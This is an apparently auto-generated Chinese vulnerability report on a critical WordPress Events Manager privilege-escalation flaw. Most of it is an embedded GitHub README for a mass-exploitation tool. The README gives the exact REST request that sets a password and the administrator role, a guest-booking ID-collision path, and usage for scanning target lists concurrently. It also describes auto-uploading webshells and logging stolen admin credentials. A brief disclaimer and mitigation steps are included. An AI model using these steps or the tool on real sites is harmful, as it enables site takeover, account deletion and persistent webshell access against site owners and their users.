🔥 CVE-2026-18366 深度独立研究：源码审计 · 二次发现 · 利用方案
🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8
CVE-2026-18366 深度独立研究：源码审计 · 二次发现 · 利用方案
📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub
🔍 源码独立审计
对 （未定位到源码） 源码进行独立审计（置信度 60%）。
🧬 根因独立理解
<p><strong>摘要：</strong>CVE-2026-18366 是 WordPress 的 Events Manager 插件（< 7.4.1）中一个 CVSS 9.8 的未认证权限提升漏洞。漏洞根因是插件在自定义能力映射过程中错误地将任意数字 ID 当作“事件/地点文章 ID”处理，并清空 WordPress 已生成的原始能力列表，导致未认证攻击者可能修改管理员密码、将任意账户提升为 Administrator，或删除任意账户。本文对该漏洞的技术原理、利用条件、危害及修复方案进行深度分析。</p> <h2>📌 漏洞概述</h2> <p>CVE-2026-
🛤️ 漏洞触发链路
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言md来源Nxploited/CVE-2026-18366针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2026-18366
Events Manager <7.4.1 - Unauthenticated Privilege Escalation to Administrator
<p align="center"><img src="https://img.shields.io/badge/CVE-2026--18366-critical?style=for-the-badge&labelColor=000000&color=FF0000" alt="CVE"/><img src="https://img.shields.io/badge/CVSS-9.8_CRITICAL-red?style=for-the-badge&labelColor=000000" alt="CVSS"/>
<img src="https://img.shields.io/badge/WordPress-Events_Manager-blue?style=for-the-badge&labelColor=000000" alt="WordPress"/></p><p align="center">
<img width="650" src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=600&size=28&duration=3000&pause=1000&color=00FF00¢er=true&vCenter=true&width=650&lines=CVE-2026-18366;Unauthenticated+Privilege+Escalation;Events+Manager+%3C+7.4.1" alt="Typing SVG"/></p>---
<div align="center">
## 🔗 Stay Updated
<a href="https://t.me/KNxploited"><img src="https://img.shields.io/badge/Telegram-@KNxploited-2CA5E0?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/></a>**For the latest zero-days,exploits,
and security research**
[](https://t.me/KNxploited)
</div>---
## 📋 Vulnerability Overview
|Attribute |Details ||-----------|---------||**CVE ID** |CVE-2026-18366 ||**Severity** |🔴 **CRITICAL** (CVSS 9.8) ||**Plugin** |Events Manager for WordPress ||**Affected Versions** |
<7.4.1 ||**Vulnerability Type** |Unauthenticated Privilege Escalation ||**Attack Vector** |Network ||**Authentication Required** |None |
---
## 🔍 Technical Description
### Root Cause Analysis
The vulnerability exists in `EM\Archetypes::map_meta_cap` within `classes/em-archetypes.php`. The plugin improperly scopes its capability mapping by:
1. Treating **ANY** object ID as a post ID
2. If the post is an `event` or `location` CPT,it wipes `$caps = []`
3. Never refills capabilities for `edit_user`,`delete_user`,
or `promote_user`
4. Empty caps → `has_cap()` returns `true`,including for user 0 (guest)
### Attack Vector
```
POST|PUT|PATCH /wp-json/wp/v2/users/{id}POST /index.php?rest_route=/wp/v2/users/{id}Body: {"password":"...","roles":["administrator"]}```
**Condition:** `{id}` must equal `wp_posts.ID` of an event or location CPT.
>
⚠️ Unauthenticated REST does not require a nonce (no logged-in cookie).
### Guest Booking Exploitation
Guest bookings (`dbem_bookings_anonymous=1` by default) create real WP users,
enabling collision forcing. The booking nonce is publicly available on event forms.
---
## 🚀 Usage
### Requirements
```bash
pip install aiohttp
```
### Quick Start
```bash
python CVE-2026-18366.py
```
The script will prompt for:
- **list** → Path to target list file (default: `list.txt`)
- **speed** → Concurrent workers (default: 10)
### Command Line Options
```bash
python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
```
|
Option |Description ||--------|-------------||`-l,--list` |Path to file containing target URLs ||`-s,--speed` |Number of concurrent workers (1-200) ||`--timeout` |Request timeout in seconds (default: 20) |
### Target List Format
Create a `list.txt` file with one target per line:
```
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
```
---
## 📊 Output
### Console Output
```
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
```
### Results File
Successful compromises are saved to `adminS.txt`:
```
https://target.com |
username:Nx_admin_@!KSA |uid=X |path=id-collision |ADMIN |
shell_url
```
---
## 🔄 Exploitation Workflow
```
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id}
│ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
```
---
## ⚙️ Features
- **Async Architecture** → High-performance concurrent scanning
- **Dual Attack Paths** → ID collision + Guest booking exploitation
- **Auto Shell Upload** → Plugin/Theme webshell deployment
- **Version Detection** → Automatic vulnerable version identification
- **Smart Username Enum** → Multiple enumeration techniques
- **Login Verification** → Cookie + XML-RPC validation
- **Privilege Escalation** → Auto-promote to administrator
---
## 📁 File Structure
```
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
```
---
## ⚠️ Disclaimer
<div align="center">
```
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool,
you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
```
</div>
---
## 🛡️ Mitigation
If you are a WordPress administrator:
1. **Update** Events Manager to version **7.4.1** or later
2. **Audit** user accounts for unauthorized changes
3. **Review** access logs for suspicious REST API activity
4. **Implement** WAF rules to filter malicious requests
---
<div align="center">
## 👤 Author
**Nxploited** (Khaled Alenzi)
[](https://t.me/KNxploited)
---
<sub>Security Research • Ethical Hacking • Zero-Day Discovery</sub></div>⚔️ EXP 利用代码
截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议：
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 高危漏洞深度独立研究引擎生成 · 2026-08-18 03:01